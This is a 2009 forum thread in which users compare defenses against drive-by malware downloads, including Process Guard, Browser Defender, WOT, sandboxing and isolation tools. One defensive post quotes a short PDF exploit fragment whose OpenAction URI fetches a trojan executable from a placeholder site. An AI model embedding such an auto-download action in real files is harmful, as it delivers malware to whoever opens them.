Anti-drive by software suggestion

Discussion in 'other anti-malware software' started by Boost, Jan 22, 2009.

Thread Status:
Not open for further replies.
  1. Boost

    Boost Registered Member

    Joined:
    Feb 2, 2007
    Posts:
    1,294
    Process guard help with drive by downloads?
     
  2. Rmus

    Rmus Exploit Analyst

    Joined:
    Mar 16, 2005
    Posts:
    4,020
    Location:
    California
    Super Bowl stadium site hacked, seeded with exploits
    http://blogs.zdnet.com/security/?p=15
    Popular tennis websites struck in latest malware attack
    http://www.sophos.com/pressoffice/news/articles/2008/06/infected-tennis-sites.html
    Visitors to Sony PlayStation website at risk of malware infection
    http://www.sophos.com/pressoffice/news/articles/2008/07/playstation.html
    _____________________________________________________________________________​

    "Drive-by Downloads" hasn't been explicitly defined in this thread. The classic definition is, downloading of malware executables by remote code execution. If this is the case, then the answer is Yes.

    fcukdat who has tested such exploits for me says that nothing gets by Process Guard.

    aigle (supreme malware tester par excellence) also tested a number of different products in a test I set up last year
    using an IE exploit:

    http://www.urs2.net/rsj/computing/tests/remote

    Remember, that most drive-by downloads are targeted at IE {hint, hint}. Some exceptions are Flash and PDF exploits which can download malware, no matter the browser. A recent PDF exploit had this type of code:

    Code:
    ....<< /Type /OpenAction
    /S /URI
    /URI (http://www.some_site.com/[B]some_trojan.exe[/B])
    
    But this is no match for any of the products in the test. Easily blocked.

    As mentioned by others, there are ways of preventing the exploit from getting to the point of downloading the malware - disabling scripting, for example.

    But a solution such as those in the test are the barrier of last resort.

    ----
    rich
     
  3. SpikeyB

    SpikeyB Registered Member

    Joined:
    Mar 20, 2005
    Posts:
    479
    Maybe I'm missing something. I don't understand how Antivirus 2008 could install and run at next boot on a machine that had a whitelist of allowed processes (when presumably Antivirus 2008 would not be on that whitelist). Perhaps you are talking about whitelisted websites, I'm not sure.
     
  4. aigle

    aigle Registered Member

    Joined:
    Dec 14, 2005
    Posts:
    11,164
    Location:
    UK / Pakistan
    Yes, I mean web sites. I was talking in context of WOT, browser defender and other such applications that were suggested by some users.
     
  5. AKAJohnDoe

    AKAJohnDoe Registered Member

    Joined:
    Sep 26, 2007
    Posts:
    989
    Location:
    127.0.0.1
    Also, even without the NoScript add-on extension, Firefox has security settings to prevent drive-by add-on installs.

    See how here
     
  6. andyman35

    andyman35 Registered Member

    Joined:
    Nov 2, 2007
    Posts:
    2,336
    Browser Defender performs real-time analysis of site content AFAIK,unlike WOT and similar static site rating tools.
     
  7. idbit

    idbit Registered Member

    Joined:
    Dec 9, 2008
    Posts:
    43
    Location:
    Florida
  8. aigle

    aigle Registered Member

    Joined:
    Dec 14, 2005
    Posts:
    11,164
    Location:
    UK / Pakistan
    http://www.browserdefender.com/
     
  9. raven211

    raven211 Registered Member

    Joined:
    May 4, 2005
    Posts:
    2,567
    Well is the whole OA seamless for a noob? I wouldn't think so, or it depends on which kind of "noob" we're talking about...
     
  10. GES/POR

    GES/POR Registered Member

    Joined:
    Nov 26, 2006
    Posts:
    1,490
    Location:
    Armacham
    Sounds interresting so tried it for a few hours, slowed browsing down quit a bit and didnt let me acces my webmail so off it went - i cant stand apps fukkin with my browsing on the otherhand WOT hasnt causes these issues but i passed on it for the reason u mentioned.
     
  11. firzen771

    firzen771 Registered Member

    Joined:
    Oct 29, 2007
    Posts:
    4,815
    Location:
    Canada
    really? hmm my browsing speeds are still fast with browserdefender :doubt:
     
  12. GES/POR

    GES/POR Registered Member

    Joined:
    Nov 26, 2006
    Posts:
    1,490
    Location:
    Armacham
    No joke, could easily be a conflict from my end, maybe with Edge
     
  13. progress

    progress Guest

    So this is the easiest exploit protection? :rolleyes:
     
  14. Kees1958

    Kees1958 Registered Member

    Joined:
    Jul 8, 2006
    Posts:
    5,857
    Or chrome with its build in sandbox
     
  15. NormanF

    NormanF Registered Member

    Joined:
    Feb 20, 2009
    Posts:
    2,882
    Geswall. If you run a browser in isolation, no drive-by malware can install. The reason is no process can run outside the virtual environment unless you allow it to. And if it does get on the browser somehow, closing it kills the malware. Defensewall performs a similar function.
     
  16. the Tester

    the Tester Registered Member

    Joined:
    Jul 28, 2002
    Posts:
    2,854
    Location:
    The Gateway to the Blue Hills,WI.
    Does Browser Defender work with Opera?
    If not, any similar freeware that works with Opera?
     
    Last edited: Feb 21, 2009
  17. EASTER

    EASTER Registered Member

    Joined:
    Jul 28, 2007
    Posts:
    11,126
    Location:
    U.S.A. (South)
    Just to add to Rmus list of so called common sites that were hacked, CNN News was exploited shortly after the College Playoffs when Atlanta was hit by a Tornado that night. I went to the CNN site to try to see what they had to report on and an exploit went beserk on my IE and forced a manual shutdown. Repeated attempts that evening yielded the same results so any widely popular server covered or not can be poked into and present a problem at any given time.

    I had Process Guard & EQS out-of-service at the time and thats all it took.

    It happens.
     
Thread Status:
Not open for further replies.
  1. This site uses cookies to help personalise content, tailor your experience and to keep you logged in if you register.
    By continuing to use this site, you are consenting to our use of cookies.